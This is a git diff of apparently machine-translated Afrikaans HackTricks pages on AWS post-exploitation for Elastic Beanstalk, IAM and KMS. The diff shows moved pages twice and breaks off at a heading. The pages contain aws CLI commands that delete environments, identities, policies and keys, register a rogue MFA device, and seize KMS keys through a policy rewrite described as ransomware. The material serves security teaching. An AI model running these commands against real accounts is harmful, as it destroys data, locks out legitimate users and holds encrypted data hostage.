aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
|
||||
|
||||
aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
|
||||
```
|
||||
**Potensiële Impak**: Onkorrekte hulpbron toewysing, fakturering, of hulpbron bestuur as gevolg van bygevoegde of verwyderde etikette.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+70
@@ -0,0 +1,70 @@
|
||||
# AWS - Elastic Beanstalk Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
Vir meer inligting:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `elasticbeanstalk:DeleteApplicationVersion`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Toets of meer permissies hiervoor benodig word
|
||||
|
||||
'n aanvaller met die permissie `elasticbeanstalk:DeleteApplicationVersion` kan **'n bestaande toepassingsweergawe verwyder**. Hierdie aksie kan toepassingsimplementeringspyplyne ontwrig of verlies van spesifieke toepassingsweergawes veroorsaak as daar nie 'n rugsteun is nie.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
|
||||
```
|
||||
**Potensiële impak**: Onderbreking van die toepassing se implementering en potensiële verlies van toepassingsweergawes.
|
||||
|
||||
### `elasticbeanstalk:TerminateEnvironment`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Toets of meer toestemmings hiervoor benodig word
|
||||
|
||||
'n aanvaller met die toestemming `elasticbeanstalk:TerminateEnvironment` kan **'n bestaande Elastic Beanstalk-omgewing beëindig**, wat stilstand van die toepassing veroorsaak en moontlike dataverlies tot gevolg kan hê as die omgewing nie vir rugsteun gekonfigureer is nie.
|
||||
```bash
|
||||
aws elasticbeanstalk terminate-environment --environment-name my-existing-env
|
||||
```
|
||||
**Potensiële impak**: Diensonderbreking van die toepassing, potensiële dataverlies en ontwrigting van dienste.
|
||||
|
||||
### `elasticbeanstalk:DeleteApplication`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Toets of hiervoor meer toestemmings benodig word
|
||||
|
||||
'n aanvaller met die toestemming `elasticbeanstalk:DeleteApplication` kan **'n hele Elastic Beanstalk-toepassing verwyder**, insluitend al sy weergawes en omgewings. Hierdie aksie kan 'n beduidende verlies van toepassingshulpbronne en konfigurasies veroorsaak indien dit nie gerugsteun is nie.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
|
||||
```
|
||||
**Potensiële impak**: Verlies van toepassingshulpbronne, konfigurasies, omgewings en toepassingsweergawes, wat kan lei tot diensonderbreking en moontlike dataverlies.
|
||||
|
||||
### `elasticbeanstalk:SwapEnvironmentCNAMEs`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Toets of hiervoor meer toestemmings benodig word.
|
||||
|
||||
’n aanvaller met die `elasticbeanstalk:SwapEnvironmentCNAMEs` toestemming kan **swap the CNAME records of two Elastic Beanstalk environments**, wat daartoe kan lei dat die verkeerde weergawe van die toepassing aan gebruikers bedien word of tot onbedoelde gedrag lei.
|
||||
```bash
|
||||
aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
|
||||
```
|
||||
**Potensiële impak**: Die verkeerde weergawe van die toepassing aan gebruikers bedien of onbedoelde gedrag in die toepassing veroorsaak as gevolg van omgeruilde omgewings.
|
||||
|
||||
### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Toets of meer permissies hiervoor vereis word
|
||||
|
||||
'n aanvaller met die `elasticbeanstalk:AddTags` en `elasticbeanstalk:RemoveTags` permissies kan **tags op Elastic Beanstalk-hulpbronne voeg of verwyder**. Hierdie aksie kan lei tot verkeerde hulpbrontoewysing, fakturering of hulpbronbestuur.
|
||||
```bash
|
||||
aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
|
||||
|
||||
aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
|
||||
```
|
||||
**Potensiële impak**: Onjuiste hulpbrontoewysing, fakturering of hulpbronbestuur as gevolg van bygevoegde of verwyderde tags.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,165 +0,0 @@
|
||||
# AWS - IAM Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
Vir meer inligting oor IAM-toegang:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Confused Deputy Problem
|
||||
|
||||
As jy **'n external account (A)** toelaat om toegang tot 'n **role** in jou account te kry, sal jy waarskynlik **0 sigbaarheid** hê oor **wie presies daardie external account kan toegang**. Dit is 'n probleem, want as 'n ander external account (B) toegang tot die external account (A) het, is dit moontlik dat **B ook toegang tot jou account sal hê**.
|
||||
|
||||
Daarom, wanneer jy 'n external account toelaat om toegang tot 'n role in jou account te kry, is dit moontlik om 'n `ExternalId` te spesifiseer. Dit is 'n "secret" string wat die external account (A) **moet spesifiseer** om die **assume the role in your organization**. Aangesien die **external account B hierdie string nie sal ken nie**, selfs al het hy toegang tot A, **sal hy nie in staat wees om toegang tot jou role te kry nie**.
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Neem egter kennis dat hierdie `ExternalId` "secret" **nie 'n geheim is nie** — enigiemand wat die **IAM assume role policy kan lees** sal dit kan sien. Maar solank die external account A dit ken, maar die external account **B dit nie ken nie**, **voorkom dit dat B A misbruik om toegang tot jou role te kry**.
|
||||
|
||||
Voorbeeld:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": {
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "Example Corp's AWS Account ID"
|
||||
},
|
||||
"Action": "sts:AssumeRole",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"sts:ExternalId": "12345"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Om 'n attacker 'n confused deputy uit te buit, sal hy op een of ander manier moet vasstel of principals van die huidige account roles in ander accounts kan impersonate.
|
||||
|
||||
### Onverwagte Vertroue
|
||||
|
||||
#### Wildcard as principal
|
||||
```json
|
||||
{
|
||||
"Action": "sts:AssumeRole",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "AWS": "*" }
|
||||
}
|
||||
```
|
||||
Hierdie beleid **laat alle AWS** toe om die rol aan te neem.
|
||||
|
||||
#### Diens as principal
|
||||
```json
|
||||
{
|
||||
"Action": "lambda:InvokeFunction",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "apigateway.amazonaws.com" },
|
||||
"Resource": "arn:aws:lambda:000000000000:function:foo"
|
||||
}
|
||||
```
|
||||
Hierdie beleid **laat enige rekening toe** om hul apigateway te konfigureer om hierdie Lambda aan te roep.
|
||||
|
||||
#### S3 as hoofentiteit
|
||||
```json
|
||||
"Condition": {
|
||||
"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
|
||||
"StringEquals": {
|
||||
"aws:SourceAccount": "123456789012"
|
||||
}
|
||||
}
|
||||
```
|
||||
As 'n S3 bucket as 'n principal gegee word, omdat S3 buckets nie 'n Account ID het nie, en as jy **deleted your bucket and the attacker created** dit in hul eie account, kan hulle dit misbruik.
|
||||
|
||||
#### Nie ondersteun nie
|
||||
```json
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "cloudtrail.amazonaws.com" },
|
||||
"Action": "s3:PutObject",
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
}
|
||||
```
|
||||
'n Algemene manier om Confused Deputy-probleme te vermy is die gebruik van 'n voorwaarde met `AWS:SourceArn` om die oorsprong-ARN te kontroleer. Maar **sommige dienste ondersteun dit dalk nie** (soos CloudTrail volgens sekere bronne).
|
||||
|
||||
### Credential Deletion
|
||||
Met enige van die volgende permissies — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — kan 'n akteur access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates of CloudFront public keys verwyder, of rolle van instance profiles ontkoppel. Sulke aksies kan onmiddellik wettige gebruikers en toepassings blokkeer en denial-of-service of verlies van toegang veroorsaak vir stelsels wat van daardie credentials afhanklik is, daarom moet hierdie IAM-permissies styf beperk en gemonitor word.
|
||||
```bash
|
||||
# Remove Access Key of a user
|
||||
aws iam delete-access-key \
|
||||
--user-name <Username> \
|
||||
--access-key-id AKIAIOSFODNN7EXAMPLE
|
||||
|
||||
## Remove ssh key of a user
|
||||
aws iam delete-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
|
||||
```
|
||||
### Identiteitsverwydering
|
||||
Met toestemmings soos `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, of `iam:RemoveUserFromGroup`, kan 'n akteur gebruikers, rolle of groepe uitvee — of groepslidmaatskap verander — en sodoende identiteite en geassosieerde spore verwyder. Dit kan onmiddellik toegang vir persone en dienste wat op daardie identiteite staatmaak, onderbreek, wat denial-of-service of verlies van toegang kan veroorsaak; daarom moet hierdie IAM-aksies streng beperk en gemonitor word.
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user \
|
||||
--user-name <Username>
|
||||
|
||||
# Delete a group
|
||||
aws iam delete-group \
|
||||
--group-name <Username>
|
||||
|
||||
# Delete a role
|
||||
aws iam delete-role \
|
||||
--role-name <Role>
|
||||
```
|
||||
Met enigeen van die volgende toestemmings — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — kan 'n akteur managed/inline-beleide verwyder of ontkoppel, beleidweergawes of permissions boundaries verwyder, en beleide van gebruikers, groepe of rolle loskoppel. Dit vernietig magtigings en kan die toestemmingsmodel verander, wat onmiddellike verlies van toegang of diensweigering vir principals wat van daardie beleide afhanklik was, kan veroorsaak; daarom moet hierdie IAM-aksies streng beperk en gemonitor word.
|
||||
```bash
|
||||
# Delete a group policy
|
||||
aws iam delete-group-policy \
|
||||
--group-name <GroupName> \
|
||||
--policy-name <PolicyName>
|
||||
|
||||
# Delete a role policy
|
||||
aws iam delete-role-policy \
|
||||
--role-name <RoleName> \
|
||||
--policy-name <PolicyName>
|
||||
```
|
||||
### Verwydering van Gefedereerde Identiteit
|
||||
Met `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, en `iam:RemoveClientIDFromOpenIDConnectProvider` kan 'n akteur OIDC/SAML-identiteitsverskaffers verwyder of client‑IDs verwyder. Dit breek gefedereerde verifikasie, verhoed token‑validasie en ontken onmiddellik toegang aan gebruikers en dienste wat op SSO staatmaak totdat die IdP of die konfigurasies herstel is.
|
||||
```bash
|
||||
# Delete OIDCP provider
|
||||
aws iam delete-open-id-connect-provider \
|
||||
--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
|
||||
|
||||
# Delete SAML provider
|
||||
aws iam delete-saml-provider \
|
||||
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
|
||||
```
|
||||
### Onregmatige MFA-aktivering
|
||||
Met `iam:EnableMFADevice` kan 'n akteur 'n MFA-toestel op 'n gebruiker se identiteit registreer, wat die wettige gebruiker verhinder om aan te meld. Sodra 'n ongemagtigde MFA geaktiveer is, kan die gebruiker uitgesluit word totdat die toestel verwyder of teruggestel is (nota: as verskeie MFA-toestelle geregistreer is, vereis aanmelding slegs een, dus sal hierdie aanval geen effek hê om toegang te weier nie).
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
--serial-number arn:aws:iam::111122223333:mfa/alice \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
### Sertifikaat/Sleutel-metagegewensmanipulasie
|
||||
Met `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` kan 'n akteur die status of metagegewens van openbare sleutels en sertifikate verander. Deur sleutels/sertifikate as onaktief te merk of verwysings te verander, kan hulle SSH-verifikasie breek, X.509/TLS-validerings ongeldig maak, en onmiddellik dienste wat op daardie geloofsbriewe staatmaak ontwrig, wat lei tot verlies van toegang of beskikbaarheid.
|
||||
```bash
|
||||
aws iam update-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE \
|
||||
--status Inactive
|
||||
|
||||
aws iam update-server-certificate \
|
||||
--server-certificate-name <Certificate_Name> \
|
||||
--new-path /prod/
|
||||
```
|
||||
## Verwysings
|
||||
|
||||
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+166
@@ -0,0 +1,166 @@
|
||||
# AWS - IAM Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
Vir meer inligting oor IAM toegang:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Confused Deputy Problem
|
||||
|
||||
As jy **allow an external account (A)** to access a **role** in jou rekening, sal jy waarskynlik **0 visibility** hê oor **who can exactly access that external account**. Dit is 'n probleem, want as 'n ander external account (B) toegang tot external account (A) het, is dit moontlik dat **B will also be able to access your account**.
|
||||
|
||||
Therefore, wanneer jy 'n external account toelaat om toegang tot 'n role in jou rekening te kry is dit moontlik om 'n `ExternalId` te spesifiseer. Dit is 'n "geheim" string wat die external account (A) **need to specify** in order to **assume the role in your organization**. As die **external account B won't know this string**, selfs al het hy toegang tot A sal hy **won't be able to access your role**.
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
However, let op dat hierdie `ExternalId` "secret" **not a secret** is; enigiemand wat die **IAM assume role policy can read** sal dit kan sien. Maar solank die external account A dit weet, en die external account **B doesn't know it**, voorkom dit dat **B abusing A to access your role**.
|
||||
|
||||
Example:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": {
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "Example Corp's AWS Account ID"
|
||||
},
|
||||
"Action": "sts:AssumeRole",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"sts:ExternalId": "12345"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Om 'n attacker 'n confused deputy te kan uitbuit, sal hy op een of ander manier moet bepaal of principals van die huidige account rolle in ander accounts kan impersonate.
|
||||
|
||||
### Onverwagte vertrouensverhoudings
|
||||
|
||||
#### Wildekaart as principal
|
||||
```json
|
||||
{
|
||||
"Action": "sts:AssumeRole",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "AWS": "*" }
|
||||
}
|
||||
```
|
||||
Hierdie beleid **laat alle AWS** toe om die rol aan te neem.
|
||||
|
||||
#### Diens as hoofpersoon
|
||||
```json
|
||||
{
|
||||
"Action": "lambda:InvokeFunction",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "apigateway.amazonaws.com" },
|
||||
"Resource": "arn:aws:lambda:000000000000:function:foo"
|
||||
}
|
||||
```
|
||||
Hierdie beleid **laat enige rekening toe** om hul apigateway te konfigureer om hierdie Lambda aan te roep.
|
||||
|
||||
#### S3 as prinsipaal
|
||||
```json
|
||||
"Condition": {
|
||||
"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
|
||||
"StringEquals": {
|
||||
"aws:SourceAccount": "123456789012"
|
||||
}
|
||||
}
|
||||
```
|
||||
As 'n S3 bucket as principal gegee word, omdat S3 buckets geen Account ID het nie, as jy **jou bucket verwyder het en die aanvaller dit geskep het** in hul eie account, dan kan hulle dit misbruik.
|
||||
|
||||
#### Nie ondersteun nie
|
||||
```json
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "cloudtrail.amazonaws.com" },
|
||||
"Action": "s3:PutObject",
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
}
|
||||
```
|
||||
'n Algemene manier om Confused Deputy-probleme te vermy is die gebruik van 'n voorwaarde met `AWS:SourceArn` om die oorsprong ARN te kontroleer. **Sommige dienste mag dit egter nie ondersteun nie** (soos CloudTrail volgens sommige bronne).
|
||||
|
||||
### Verwydering van credentials
|
||||
Met enige van die volgende permissies — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — kan 'n akteur access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates of CloudFront public keys verwyder, of roles van instance profiles loskoppel. Sulke optrede kan onmiddellike blokkering van wettige gebruikers en toepassings veroorsaak en tot denial-of-service of verlies van toegang vir stelsels wat op daardie credentials staatmaak lei; daarom moet hierdie IAM-permissies noukeurig beperk en gemonitor word.
|
||||
```bash
|
||||
# Remove Access Key of a user
|
||||
aws iam delete-access-key \
|
||||
--user-name <Username> \
|
||||
--access-key-id AKIAIOSFODNN7EXAMPLE
|
||||
|
||||
## Remove ssh key of a user
|
||||
aws iam delete-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
|
||||
```
|
||||
### Identiteitsverwydering
|
||||
Met toestemmings soos `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, of `iam:RemoveUserFromGroup`, kan 'n akteur gebruikers, rolle of groepe verwyder—of groepslidmaatskap verander—waardeur identiteite en geassosieerde spore verwyder word. Dit kan onmiddellik toegang verbreek vir mense en dienste wat van daardie identiteite afhanklik is, wat denial-of-service of verlies van toegang kan veroorsaak, dus moet hierdie IAM-aksies styf beperk en gemonitor word.
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user \
|
||||
--user-name <Username>
|
||||
|
||||
# Delete a group
|
||||
aws iam delete-group \
|
||||
--group-name <Username>
|
||||
|
||||
# Delete a role
|
||||
aws iam delete-role \
|
||||
--role-name <Role>
|
||||
```
|
||||
###
|
||||
Met enige van die volgende toestemmings — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — kan 'n akteur beheerde/inline-beleide verwyder of loskoppel, beleidsweergawes of toestemmingsgrense skrap, en beleide van gebruikers, groepe of rolle ontkoppel. Dit vernietig verlenings en kan die toestemmingsmodel verander, wat onmiddellike verlies van toegang of diensweiering vir geprinsipale wat op daardie beleide staatgemaak het, tot gevolg kan hê; daarom moet hierdie IAM-aksies streng beperk en gemonitor word.
|
||||
```bash
|
||||
# Delete a group policy
|
||||
aws iam delete-group-policy \
|
||||
--group-name <GroupName> \
|
||||
--policy-name <PolicyName>
|
||||
|
||||
# Delete a role policy
|
||||
aws iam delete-role-policy \
|
||||
--role-name <RoleName> \
|
||||
--policy-name <PolicyName>
|
||||
```
|
||||
### Verwydering van Gefedereerde Identiteit
|
||||
Met `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` en `iam:RemoveClientIDFromOpenIDConnectProvider` kan 'n actor OIDC/SAML identiteitsverskaffers verwyder of kliënt-ID's verwyder. Dit breek gefedereerde verifikasie, voorkom token-validasie en weier onmiddellik toegang aan gebruikers en dienste wat op SSO staat totdat die IdP of konfigurasies herstel is.
|
||||
```bash
|
||||
# Delete OIDCP provider
|
||||
aws iam delete-open-id-connect-provider \
|
||||
--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
|
||||
|
||||
# Delete SAML provider
|
||||
aws iam delete-saml-provider \
|
||||
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
|
||||
```
|
||||
### Onregmatige MFA-aktivering
|
||||
Met `iam:EnableMFADevice` kan 'n akteur 'n MFA-toestel op 'n gebruiker se identiteit registreer, wat die regmatige gebruiker verhinder om aan te meld. Sodra 'n ongemagtigde MFA geaktiveer is, kan die gebruiker uitgesluit word totdat die toestel verwyder of teruggestel is (let wel: as meer as een MFA-toestel geregistreer is, vereis aanmelding slegs een, dus sal hierdie aanval nie toegang kan blokkeer nie).
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
--serial-number arn:aws:iam::111122223333:mfa/alice \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
### Sertifikaat-/sleutelmetadata-manipulasie
|
||||
Met `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, kan 'n akteur die status of metadata van publieke sleutels en sertifikate verander. Deur sleutels/sertifikate as inaktief te merk of verwysings te verander, kan hulle SSH-verifikasie breek, X.509/TLS-validasies ongeldig maak en dienste wat op daardie credentials staatmaak onmiddellik ontwrig, wat tot verlies van toegang of beskikbaarheid lei.
|
||||
```bash
|
||||
aws iam update-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE \
|
||||
--status Inactive
|
||||
|
||||
aws iam update-server-certificate \
|
||||
--server-certificate-name <Certificate_Name> \
|
||||
--new-path /prod/
|
||||
```
|
||||
## Verwysings
|
||||
|
||||
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,182 +0,0 @@
|
||||
# AWS - KMS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Enkripteer/dekripteer inligting
|
||||
|
||||
`fileb://` and `file://` are URI-skema's wat in AWS CLI-opdragte gebruik word om die pad na plaaslike lêers aan te dui:
|
||||
|
||||
- `fileb://:` Lees die lêer in binêre modus, algemeen gebruik vir nie-tekstuele lêers.
|
||||
- `file://:` Lees die lêer in teksmodus, tipies gebruik vir gewone tekslêers, skripte, of JSON wat nie spesiale kodering benodig nie.
|
||||
|
||||
> [!TIP]
|
||||
> Let wel: as jy data binne 'n lêer wil dekripteer, moet die lêer die binêre data bevat, nie base64-gekodeerde data nie. (fileb://)
|
||||
|
||||
- Gebruik 'n **symmetriese** sleutel
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||||
--plaintext fileb:///tmp/hello.txt \
|
||||
--output text \
|
||||
--query CiphertextBlob | base64 \
|
||||
--decode > ExampleEncryptedFile
|
||||
|
||||
# Decrypt data
|
||||
aws kms decrypt \
|
||||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||||
--output text \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
- Gebruik van 'n **asimmetriese** sleutel:
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||||
--plaintext fileb:///tmp/hello.txt \
|
||||
--output text \
|
||||
--query CiphertextBlob | base64 \
|
||||
--decode > ExampleEncryptedFile
|
||||
|
||||
# Decrypt data
|
||||
aws kms decrypt \
|
||||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||||
--output text \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
### KMS Ransomware
|
||||
|
||||
'n Aanvaller met bevoorregte toegang tot KMS kan die KMS-beleid van sleutels wysig en **sy rekening toegang tot hulle gee**, en die toegang wat aan die regmatige rekening gegee is verwyder.
|
||||
|
||||
Daarna sal gebruikers van die regmatige rekening nie toegang hê tot enige inligting van enige diens wat met daardie sleutels geënkripteer is nie, wat 'n eenvoudige maar effektiewe ransomware-aanval op die rekening skep.
|
||||
|
||||
> [!WARNING]
|
||||
> Neem kennis dat **AWS managed keys aren't affected** deur hierdie aanval, slegs **Customer managed keys**.
|
||||
|
||||
> Let ook op dat die parameter **`--bypass-policy-lockout-safety-check`** gebruik moet word (die afwesigheid van hierdie opsie in die web console maak hierdie aanval slegs moontlik vanaf die CLI).
|
||||
```bash
|
||||
# Force policy change
|
||||
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
--policy-name default \
|
||||
--policy file:///tmp/policy.yaml \
|
||||
--bypass-policy-lockout-safety-check
|
||||
|
||||
{
|
||||
"Id": "key-consolepolicy-3",
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::<your_own_account>:root"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Let daarop dat as jy daardie beleid verander en slegs toegang aan 'n eksterne rekening gee, en dan van hierdie eksterne rekening probeer 'n nuwe beleid instel om **die toegang terug te gee aan die oorspronklike rekening, sal jy dit nie kan doen aangesien die Put Policy-aksie nie van 'n cross-account uitgevoer kan word nie**.
|
||||
|
||||
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Generic KMS Ransomware
|
||||
|
||||
Daar is nog 'n manier om 'n globale KMS Ransomware uit te voer, wat die volgende stappe behels:
|
||||
|
||||
- Skep 'n nuwe **key with a key material** wat deur die aanvaller ingevoer is
|
||||
- **Re-encrypt older data** van die slagoffer wat met die vorige weergawe geënkripteer is, met die nuwe een.
|
||||
- **Delete the KMS key**
|
||||
- Nou sal slegs die aanvaller, wat die oorspronklike key material het, in staat wees om die geënkripteerde data te ontsleutel
|
||||
|
||||
### Delete Keys via kms:DeleteImportedKeyMaterial
|
||||
|
||||
With the `kms:DeleteImportedKeyMaterial` permission, an actor can delete the imported key material from CMKs with `Origin=EXTERNAL` (CMKs that have imperted their key material), making them unable to decrypt data. This action is destructive and irreversible unless compatible material is re-imported, allowing an attacker to effectively cause ransomware-like data loss by rendering encrypted information permanently inaccessible.
|
||||
```bash
|
||||
aws kms delete-imported-key-material --key-id <Key_ID>
|
||||
```
|
||||
### Vernietig sleutels
|
||||
|
||||
Deur sleutels te vernietig, is dit moontlik om 'n DoS uit te voer.
|
||||
```bash
|
||||
# Schedule the destoy of a key (min wait time is 7 days)
|
||||
aws kms schedule-key-deletion \
|
||||
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
|
||||
--pending-window-in-days 7
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Neem asseblief kennis dat AWS nou **verhoed dat die vorige aksies van 'n kruistrekening uitgevoer word:**
|
||||
|
||||
### Change or delete Alias
|
||||
Hierdie aanval verwyder of herlei AWS KMS-aliases, breek sleuteloplossing en veroorsaak onmiddellike foute in enige dienste wat op daardie aliasse staatmaak, wat lei tot 'n denial-of-service. Met toestemmings soos `kms:DeleteAlias` of `kms:UpdateAlias` kan 'n aanvaller aliasse verwyder of heraanwys en kriptografiese operasies ontwrig (bv. encrypt, describe). Enige diens wat na die alias verwys in plaas van die key ID kan misluk totdat die alias herstel is of korrek opnuut gemap is.
|
||||
```bash
|
||||
# Delete Alias
|
||||
aws kms delete-alias --alias-name alias/<key_alias>
|
||||
|
||||
# Update Alias
|
||||
aws kms update-alias \
|
||||
--alias-name alias/<key_alias> \
|
||||
--target-key-id <new_target_key>
|
||||
```
|
||||
### Cancel Key Deletion
|
||||
